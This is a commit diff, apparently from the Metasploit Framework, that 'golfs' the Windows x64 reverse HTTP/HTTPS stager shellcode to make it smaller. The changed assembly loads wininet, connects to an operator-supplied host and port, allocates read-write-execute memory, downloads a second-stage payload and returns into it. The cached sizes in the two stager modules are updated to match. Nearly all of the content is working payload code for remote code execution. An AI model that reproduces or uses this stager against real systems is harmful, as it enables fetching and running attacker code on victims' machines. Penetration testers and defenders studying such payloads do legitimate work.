Skip to content

Commit 6e96e6d

Browse files
committed
Shellcode golf to make the payload smaller
Tried to implement some more of the stuff that egypt suggested, managed to get some in, but not others. Ultimately, its smaller than it was, and I'm sure there are ways to make it better as well.
1 parent 62720ab commit 6e96e6d

File tree

3 files changed

+39
-41
lines changed

3 files changed

+39
-41
lines changed

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 37 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -198,18 +198,18 @@ def asm_reverse_http(opts={})
198198
end
199199

200200
asm = %Q^
201+
xor rbx, rbx
201202
load_wininet:
202-
push 0 ; stack alignment
203+
push rbx ; stack alignment
203204
mov r14, 'wininet'
204205
push r14 ; Push 'wininet',0 onto the stack
205-
mov r14, rsp ; Save pointer to string
206-
mov rcx, r14 ; the name of the lib to load
206+
mov rcx, rsp ; lpFileName (stackpointer)
207207
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
208208
call rbp
209209
210210
internetopen:
211-
push 0 ; stack alignment
212-
push 0 ; NULL pointer
211+
push rbx ; stack alignment
212+
push rbx ; NULL pointer
213213
mov rcx, rsp ; lpszAgent ("")
214214
^
215215

@@ -224,29 +224,30 @@ def asm_reverse_http(opts={})
224224
^
225225
else
226226
asm << %Q^
227-
xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
227+
push rbx
228+
pop rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
228229
xor r8, r8 ; lpszProxyName (NULL)
229230
^
230231
end
231232

232233
asm << %Q^
233234
xor r9, r9 ; lpszProxyBypass (NULL)
234-
push rax ; stack alignment
235-
push 0 ; dwFlags (0)
235+
push rbx ; stack alignment
236+
push rbx ; dwFlags (0)
236237
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
237238
call rbp
238239
239-
jmp dbl_get_server_host
240-
241-
internetconnect:
240+
call load_server_host
241+
db "#{opts[:host]}",0x0
242+
load_server_host:
242243
pop rdx ; lpszServerName
243244
mov rcx, rax ; hInternet
244245
mov r8, #{opts[:port]} ; nServerPort
245246
xor r9, r9 ; lpszUsername (NULL)
246-
push r9 ; dwContent (0)
247-
push r9 ; dwFlags (0)
247+
push rbx ; dwContent (0)
248+
push rbx ; dwFlags (0)
248249
push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
249-
push r9 ; lpszPassword (NULL)
250+
push rbx ; lpszPassword (NULL)
250251
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
251252
call rbp
252253
^
@@ -299,14 +300,15 @@ def asm_reverse_http(opts={})
299300
300301
httpopenrequest:
301302
mov rcx, rax ; hConnect
302-
xor rdx, rdx ; lpszVerb (NULL=GET)
303+
push rbx
304+
pop rdx ; lpszVerb (NULL=GET)
303305
pop r8 ; lpszObjectName (URI)
304306
xor r9, r9 ; lpszVersion (NULL)
305-
push rdx ; dwContext (0)
307+
push rbx ; dwContext (0)
306308
mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags
307309
push r10
308-
push rdx ; lplpszAcceptType (NULL)
309-
push rdx ; lpszReferer (NULL)
310+
push rbx ; lplpszAcceptType (NULL)
311+
push rbx ; lpszReferer (NULL)
310312
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
311313
call rbp
312314
@@ -322,11 +324,13 @@ def asm_reverse_http(opts={})
322324
asm << %Q^
323325
internetsetoption:
324326
mov rcx, rsi ; hInternet (request handle)
325-
mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
326-
push 0 ; stack alignment
327+
push 31
328+
pop rdx ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
329+
push rdx ; stack alignment
327330
push #{"0x%.8x" % set_option_flags} ; flags
328331
mov r8, rsp ; lpBuffer (pointer to flags)
329-
mov r9, 4 ; dwBufferLength (4 = size of flags)
332+
push 4
333+
pop r9 ; dwBufferLength (4 = size of flags)
330334
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
331335
call rbp
332336
^
@@ -335,11 +339,12 @@ def asm_reverse_http(opts={})
335339
asm << %Q^
336340
httpsendrequest:
337341
mov rcx, rsi ; hRequest (request handle)
338-
xor rdx, rdx ; lpszHeaders (NULL)
342+
push rbx
343+
pop rdx ; lpszHeaders (NULL)
339344
xor r8, r8 ; dwHeadersLen (0)
340345
xor r9, r9 ; lpszVersion (NULL)
341-
push rdx ; stack alignment
342-
push rdx ; dwOptionalLength (0)
346+
push rbx ; stack alignment
347+
push rbx ; dwOptionalLength (0)
343348
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
344349
call rbp
345350
test eax, eax
@@ -350,9 +355,6 @@ def asm_reverse_http(opts={})
350355
jz failure
351356
jmp retryrequest
352357
353-
dbl_get_server_host:
354-
jmp get_server_host
355-
356358
get_server_uri:
357359
call httpopenrequest
358360
@@ -368,18 +370,21 @@ def asm_reverse_http(opts={})
368370
else
369371
asm << %Q^
370372
failure:
371-
push 0 ; stack alignment
373+
push rbx ; stack alignment
372374
push 0x56A2B5F0 ; hardcoded to exitprocess for size
373375
call rbp
374376
^
375377
end
376378

377379
asm << %Q^
378380
allocate_memory:
379-
xor rcx, rcx ; lpAddress (NULL)
380-
mov rdx, 0x00400000 ; dwSize (4 MB)
381+
push rbx
382+
pop rcx ; lpAddress (NULL)
383+
push 0x40
384+
pop rdx
385+
mov r9, rdx ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
386+
shl edx, 16 ; dwSize
381387
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
382-
mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
383388
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
384389
call rbp
385390
@@ -404,20 +409,13 @@ def asm_reverse_http(opts={})
404409
mov ax, word ptr [rdi] ; extract the read byte count
405410
add rbx, rax ; buffer += bytes read
406411
407-
test rax, rax ; are we done?
412+
test eax, eax ; are we done?
408413
jnz download_more ; keep going
409414
pop rax ; clear up reserved space
410415
pop rax ; realign again
411416
412417
execute_stage:
413418
ret ; return to the stored stage address
414-
415-
get_server_host:
416-
call internetconnect
417-
418-
server_host:
419-
db "#{opts[:host]}",0x0
420-
421419
^
422420

423421
if opts[:exitfunk]

modules/payloads/stagers/windows/x64/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 520
12+
CachedSize = 488
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/x64/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 562
12+
CachedSize = 522
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

0 commit comments

Comments
 (0)